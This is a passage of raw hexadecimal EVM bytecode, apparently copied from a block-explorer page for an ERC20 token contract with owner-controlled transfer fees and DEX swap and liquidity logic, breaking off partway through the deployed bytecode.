049e611267565b6040516104ab9190613897565b60405180910390f35b3480156104c057600080fd5b506104c9611290565b005b3480156104d757600080fd5b506104e06113e3565b6040516104ed9190613957565b60405180910390f35b34801561050257600080fd5b5061050b611475565b6040516105189190613ab9565b60405180910390f35b34801561052d57600080fd5b50610548600480360381019061054391906134fa565b61147f565b604051610555919061393c565b60405180910390f35b34801561056a57600080fd5b5061058560048036038101906105809190613583565b61154c565b005b34801561059357600080fd5b506105ae60048036038101906105a991906134fa565b6115fe565b6040516105bb919061393c565b60405180910390f35b3480156105d057600080fd5b506105d961161d565b6040516105e69190613897565b60405180910390f35b3480156105fb57600080fd5b50610616600480360381019061061191906135b0565b611641565b005b34801561062457600080fd5b5061063f600480360381019061063a9190613583565b6116e0565b005b34801561064d57600080fd5b506106566117c9565b6040516106639190613897565b60405180910390f35b34801561067857600080fd5b50610693600480360381019061068e9190613427565b6117ef565b6040516106a09190613ab9565b60405180910390f35b3480156106b557600080fd5b506106d060048036038101906106cb91906135b0565b611876565b005b3480156106de57600080fd5b506106f960048036038101906106f491906135b0565b611959565b005b34801561070757600080fd5b50610722600480360381019061071d91906133cd565b6119f8565b005b34801561073057600080fd5b5061074b600480360381019061074691906134ba565b611bba565b005b60606001805461075c90613dce565b80601f016020809104026020016040519081016040528092919081815260200182805461078890613dce565b80156107d55780601f106107aa576101008083540402835291602001916107d5565b820191906000526020600020905b8154815290600101906020018083116107b857829003601f168201915b5050505050905090565b60006107f36107ec611caa565b8484611cb2565b6001905092915050565b6000601b54905090565b6000610814848484611e7d565b506108d684610821611caa565b6108d18560405180606001604052806028815260200161422b60289139600760008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610887611caa565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546127599092919063ffffffff16565b611cb2565b600190509392505050565b6000610922610911600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1661112e565b601b546127bd90919063ffffffff16565b905090565b61092f611caa565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146109bc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109b390613a19565b60405180910390fd5b80600460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000600360009054906101000a900460ff16905090565b6000610ac0610a24611caa565b84610abb8560076000610a35611caa565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461280790919063ffffffff16565b611cb2565b6001905092915050565b610ad2611caa565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b5f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b5690613a19565b60405180910390fd5b80601e8190555050565b610b71611caa565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610bfe576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bf590613a19565b60405180910390fd5b80600360016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600042905090565b6000610c54611caa565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ce1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cd890613a19565b60405180910390fd5b60008290508073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610d2c57600080fd5b505afa158015610d40573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d6491906133fa565b73ffffffffffffffffffffffffffffffffffffffff1663e6a43905308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610dc657600080fd5b505afa158015610dda573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610dfe91906133fa565b6040518363ffffffff1660e01b8152600401610e1b9291906138b2565b60206040518083038186803b158015610e3357600080fd5b505afa158015610e47573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e6b91906133fa565b9150600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561102c578073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610ee857600080fd5b505afa158015610efc573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f2091906133fa565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610f8257600080fd5b505afa158015610f96573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610fba91906133fa565b6040518363ffffffff1660e01b8152600401610fd79291906138b2565b602060405180830381600087803b158015610ff157600080fd5b505af1158015611005573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061102991906133fa565b91505b81602260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080602160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506001600a6000602260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050919050565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b61117f611caa565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461120c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161120390613a19565b60405180910390fd5b80600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b611298611caa565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611325576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161131c90613a19565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6060600280546113f290613dce565b80601f016020809104026020016040519081016040528092919081815260200182805461141e90613dce565b801561146b5780601f106114405761010080835404028352916020019161146b565b820191906000526020600020905b81548152906001019060200180831161144e57829003601f168201915b5050505050905090565b6000601e54905090565b600061154261148c611caa565b8461153d8560405180606001604052806025815260200161425360259139600760006114b6611caa565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546127599092919063ffffffff16565b611cb2565b6001905092915050565b611554611caa565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146115e1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115d890613a19565b60405180910390fd5b80602260166101000a81548160ff02191690831515021790555050565b600061161261160b611caa565b8484611e7d565b506001905092915050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b611649611caa565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146116d6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116cd90613a19565b60405180910390fd5b80601a8190555050565b6116e8611caa565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611775576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161176c90613a19565b60405180910390fd5b80602260156101000a81548160ff0219169083151502179055507f53726dfcaf90650aa7eb35524f4d3220f07413c8d6cb404cc8c18bf5591bc159816040516117be919061393c565b60405180910390a150565b602260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b61187e611caa565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461190b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161190290613a19565b60405180910390fd5b600381111561194f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161194690613a79565b60405180910390fd5b80601f8190555050565b611961611caa565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146119ee576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119e590613a19565b60405180910390fd5b80601c8190555050565b611a00611caa565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611a8d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a8490613a19565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415611afd576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611af490613999565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b611bc2611caa565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611c4f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c4690613a19565b60405180910390fd5b80600960008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611d22576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d1990613a99565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611d92576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d89906139b9565b60405180910390fd5b80600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051611e709190613ab9565b60405180910390a3505050565b60008073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415611eee576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ee590613a59565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611f5e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f5590613979565b60405180910390fd5b60008211611fa1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f9890613a39565b60405180910390fd5b602260149054906101000a900460ff1615611fc857611fc1848484612865565b9050612752565b6000611fd33061112e565b90506000601e548210159050808015611ff95750602260149054906101000a900460ff16155b801561204f5750600a60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156120675750602260159054906101000a900460ff165b1561209157602260169054906101000a900460ff161561208757601e5491505b61209082612a38565b5b61211a846040518060400160405280601481526020017f496e73756666696369656e742042616c616e6365000000000000000000000000815250600660008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546127599092919063ffffffff16565b600660008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600080612168611267565b73ffffffffffffffffffffffffffffffffffffffff168873ffffffffffffffffffffffffffffffffffffffff16141580156121d657506121a6611267565b73ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff1614155b156123df5761221760646122096121fa601054600b546127bd90919063ffffffff16565b89612c2990919063ffffffff16565b612ca490919063ffffffff16565b9150600a60008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156122fd576122a7606461229961228a601054600b546127bd90919063ffffffff16565b89612c2990919063ffffffff16565b612ca490919063ffffffff16565b915060006010541180156122be5750601a54601954105b156122f8576122eb60646122dd60105489612c2990919063ffffffff16565b612ca490919063ffffffff16565b90506122f78882612cee565b5b6123de565b600a60008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156123dd5761238b606461237d61236e601854600c546127bd90919063ffffffff16565b89612c2990919063ffffffff16565b612ca490919063ffffffff16565b915060006018541180156123a25750601a54601954105b156123dc576123cf60646123c160185489612c2990919063ffffffff16565b612ca490919063ffffffff16565b90506123db8882612cee565b5b5b5b5b600082111561264f57600091506000600267ffffffffffffffff81111561240957612408613eed565b5b6040519080825280602002602001820160405280156124375781602001602082028036833780820191505090505b509050888160008151811061244f5761244e613ebe565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050878160018151811061249e5761249d613ebe565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506000602160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663d06ca61f89846040518363ffffffff1660e01b8152600401612537929190613ad4565b60006040518083038186803b15801561254f57600080fd5b505afa158015612563573d6000803e3d6000fd5b505050506040513d6000823e3d601f19601f8201168201806040525081019061258c919061353a565b9050806000815181106125a2576125a1613ebe565b5b6020026020010151846125b59190613d00565b935061260984600660003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461280790919063ffffffff16565b600660003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555050505b6126a186600660008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461280790919063ffffffff16565b600660008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508673ffffffffffffffffffffffffffffffffffffffff168873ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef886040516127419190613ab9565b60405180910390a360019450505050505b9392505050565b60008383111582906127a1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016127989190613957565b60405180910390fd5b50600083856127b09190613d00565b9050809150509392505050565b60006127ff83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250612759565b905092915050565b60008082846128169190613c1f565b90508381101561285b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612852906139d9565b60405180910390fd5b8091505092915050565b60006128f0826040518060400160405280601481526020017f496e73756666696369656e742042616c616e6365000000000000000000000000815250600660008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546127599092919063ffffffff16565b600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061298582600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461280790919063ffffffff16565b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051612a259190613ab9565b60405180910390a3600190509392505050565b6001602260146101000a81548160ff0219169083151502179055506000612a916002612a83601454612a7560115487612c2990919063ffffffff16565b612ca490919063ffffffff16565b612ca490919063ffffffff16565b90506000612aa882846127bd90919063ffffffff16565b9050612ab381612e7e565b60004790506000612ae4612ad36002601154612ca490919063ffffffff16565b6014546127bd90919063ffffffff16565b90506000612b226002612b1484612b0660115488612c2990919063ffffffff16565b612ca490919063ffffffff16565b612ca490919063ffffffff16565b90506000612b4d83612b3f60135487612c2990919063ffffffff16565b612ca490919063ffffffff16565b90506000612b7682612b6885886127bd90919063ffffffff16565b6127bd90919063ffffffff16565b90506000811115612bae57612bad600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1682613109565b5b6000821115612be457612be3600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1683613109565b5b600083118015612bf45750600087115b15612c0457612c038784613154565b5b505050505050506000602260146101000a81548160ff02191690831515021790555050565b600080831415612c3c5760009050612c9e565b60008284612c4a9190613ca6565b9050828482612c599190613c75565b14612c99576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612c90906139f9565b60405180910390fd5b809150505b92915050565b6000612ce683836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250613263565b905092915050565b601a5460195410612cfe57612e7a565b612d728160066000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461280790919063ffffffff16565b60066000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612dec8160195461280790919063ffffffff16565b601981905550600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051612e719190613ab9565b60405180910390a35b5050565b6000600267ffffffffffffffff811115612e9b57612e9a613eed565b5b604051908082528060200260200182016040528015612ec95781602001602082028036833780820191505090505b5090503081600081518110612ee157612ee0613ebe565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050602160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015612f8357600080fd5b505afa158015612f97573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190612fbb91906133fa565b81600181518110612fcf57612fce613ebe565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061303630602160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611cb2565b602160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b815260040161309a959493929190613b04565b600060405180830381600087803b1580156130b457600080fd5b505af11580156130c8573d6000803e3d6000fd5b505050507f32cde87eb454f3a0b875ab23547023107cfad454363ec88ba5695e2c24aa52a782826040516130fd929190613ad4565b60405180910390a15050565b8173ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f1935050505015801561314f573d6000803e3d6000fd5b505050565b61318130602160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611cb2565b602160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d719823085600080602060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16426040518863ffffffff1660e01b815260040161320a969594939291906138db565b6060604051808303818588803b15801561322357600080fd5b505af1158015613237573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061325c91906135dd565b5050505050565b600080831182906132aa576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016132a19190613957565b60405180910390fd5b50600083856132b99190613c75565b9050809150509392505050565b60006132d96132d484613b9e565b613b79565b905080838252602082019050828560208602820111156132fc576132fb613f21565b5b60005b8581101561332c578161331288826133b8565b8452602084019350602083019250506001810190506132ff565b5050509392505050565b600081359050613345816141e5565b92915050565b60008151905061335a816141e5565b92915050565b600082601f83011261337557613374613f1c565b5b81516133858482602086016132c6565b91505092915050565b60008135905061339d816141fc565b92915050565b6000813590506133b281614213565b92915050565b6000815190506133c781614213565b92915050565b6000602082840312156133e3576133e2613f2b565b5b60006133f184828501613336565b91505092915050565b6000602082840312156134105761340f613f2b565b5b600061341e8482850161334b565b91505092915050565b6000806040838503121561343e5761343d613f2b565b5b600061344c85828601613336565b925050602061345d85828601613336565b9150509250929050565b6000806000606084860312156134805761347f613f2b565b5b600061348e86828701613336565b935050602061349f86828701613336565b92505060406134b0868287016133a3565b9150509250925092565b600080604083850312156134d1576134d0613f2b565b5b60006134df85828601613336565b92505060206134f08582860161338e565b9150509250929050565b6000806040838503121561351157613510613f2b565b5b600061351f85828601613336565b9250506020613530858286016133a3565b9150509250929050565b6000602082840312156135505761354f613f2b565b5b600082015167ffffffffffffffff81111561356e5761356d613f26565b5b61357a84828501613360565b91505092915050565b60006020828403121561359957613598613f2b565b5b60006135a78482850161338e565b91505092915050565b6000602082840312156135c6576135c5613f2b565b5b60006135d4848285016133a3565b91505092915050565b6000806000606084860312156135f6576135f5613f2b565b5b6000613604868287016133b8565b9350506020613615868287016133b8565b9250506040613626868287016133b8565b9150509250925092565b600061363c8383613648565b60208301905092915050565b61365181613d34565b82525050565b61366081613d34565b82525050565b600061367182613bda565b61367b8185613bfd565b935061368683613bca565b8060005b838110156136b757815161369e8882613630565b97506136a983613bf0565b92505060018101905061368a565b5085935050505092915050565b6136cd81613d46565b82525050565b6136dc81613d89565b82525050565b60006136ed82613be5565b6136f78185613c0e565b9350613707818560208601613d9b565b61371081613f30565b840191505092915050565b6000613728602383613c0e565b915061373382613f41565b604082019050919050565b600061374b602683613c0e565b915061375682613f90565b604082019050919050565b600061376e602283613c0e565b915061377982613fdf565b604082019050919050565b6000613791601b83613c0e565b915061379c8261402e565b602082019050919050565b60006137b4602183613c0e565b91506137bf82614057565b604082019050919050565b60006137d7602083613c0e565b91506137e2826140a6565b602082019050919050565b60006137fa602983613c0e565b9150613805826140cf565b604082019050919050565b600061381d602583613c0e565b91506138288261411e565b604082019050919050565b6000613840601283613c0e565b915061384b8261416d565b602082019050919050565b6000613863602483613c0e565b915061386e82614196565b604082019050919050565b61388281613d72565b82525050565b61389181613d7c565b82525050565b60006020820190506138ac6000830184613657565b92915050565b60006040820190506138c76000830185613657565b6138d46020830184613657565b9392505050565b600060c0820190506138f06000830189613657565b6138fd6020830188613879565b61390a60408301876136d3565b61391760608301866136d3565b6139246080830185613657565b61393160a0830184613879565b979650505050505050565b600060208201905061395160008301846136c4565b92915050565b6000602082019050818103600083015261397181846136e2565b905092915050565b600060208201905081810360008301526139928161371b565b9050919050565b600060208201905081810360008301526139b28161373e565b9050919050565b600060208201905081810360008301526139d281613761565b9050919050565b600060208201905081810360008301526139f281613784565b9050919050565b60006020820190508181036000830152613a12816137a7565b9050919050565b60006020820190508181036000830152613a32816137ca565b9050919050565b60006020820190508181036000830152613a52816137ed565b9050919050565b60006020820190508181036000830152613a7281613810565b9050919050565b60006020820190508181036000830152613a9281613833565b9050919050565b60006020820190508181036000830152613ab281613856565b9050919050565b6000602082019050613ace6000830184613879565b92915050565b6000604082019050613ae96000830185613879565b8181036020830152613afb8184613666565b90509392505050565b600060a082019050613b196000830188613879565b613b2660208301876136d3565b8181036040830152613b388186613666565b9050613b476060830185613657565b613b546080830184613879565b9695505050505050565b6000602082019050613b736000830184613888565b92915050565b6000613b83613b94565b9050613b8f8282613e00565b919050565b6000604051905090565b600067ffffffffffffffff821115613bb957613bb8613eed565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b6000613c2a82613d72565b9150613c3583613d72565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115613c6a57613c69613e31565b5b828201905092915050565b6000613c8082613d72565b9150613c8b83613d72565b925082613c9b57613c9a613e60565b5b828204905092915050565b6000613cb182613d72565b9150613cbc83613d72565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615613cf557613cf4613e31565b5b828202905092915050565b6000613d0b82613d72565b9150613d1683613d72565b925082821015613d2957613d28613e31565b5b828203905092915050565b6000613d3f82613d52565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b6000613d9482613d72565b9050919050565b60005b83811015613db9578082015181840152602081019050613d9e565b83811115613dc8576000848401525b50505050565b60006002820490506001821680613de657607f821691505b60208210811415613dfa57613df9613e8f565b5b50919050565b613e0982613f30565b810181811067ffffffffffffffff82111715613e2857613e27613eed565b5b80604052505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f6e657756616c7565206d757374203c3d20330000000000000000000000000000600082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6141ee81613d34565b81146141f957600080fd5b50565b61420581613d46565b811461421057600080fd5b50565b61421c81613d72565b811461422757600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa264697066735822122059084075547cffbc766b4060467bbe5f4eae68b31e783117b56d6eb65bb5d88564736f6c63430008050033000000000000000000000000000000000000000000000000000000000280de80000000000000000000000000bad89e0dac63941b23bd9b8bc0fcb0193d1234b2

Deployed Bytecode

0x6080604052600436106101d15760003560e01c8063914eb66a116100f7578063b6b3664311610095578063e5c2b0a611610064578063e5c2b0a6146106a9578063ec28438a146106d2578063f2fde38b146106fb578063f84ba65d14610724576101d8565b8063b6b36643146105ef578063c49b9a8014610618578063c816841b14610641578063dd62ed3e1461066c576101d8565b8063a457c2d7116100d1578063a457c2d714610521578063a5d69d1f1461055e578063a9059cbb14610587578063b2bdfa7b146105c4576101d8565b8063914eb66a146104b457806395d89b41146104cb578063a073d37f146104f6576101d8565b8063395093511161016f5780635881f3ef1161013e5780635881f3ef146103e657806370a0823114610423578063844d591c146104605780638da5cb5b14610489576101d8565b8063395093511461032c5780633b97084a146103695780634cb80fd514610392578063557ed1ba146103bb576101d8565b806323b872dd116101ab57806323b872dd146102705780632b112e49146102ad5780632c4b2334146102d8578063313ce56714610301576101d8565b806306fdde03146101dd578063095ea7b31461020857806318160ddd14610245576101d8565b366101d857005b600080fd5b3480156101e957600080fd5b506101f261074d565b6040516101ff9190613957565b60405180910390f35b34801561021457600080fd5b5061022f600480360381019061022a91906134fa565b6107df565b60405161023c919061393c565b60405180910390f35b34801561025157600080fd5b5061025a6107fd565b6040516102679190613ab9565b60405180910390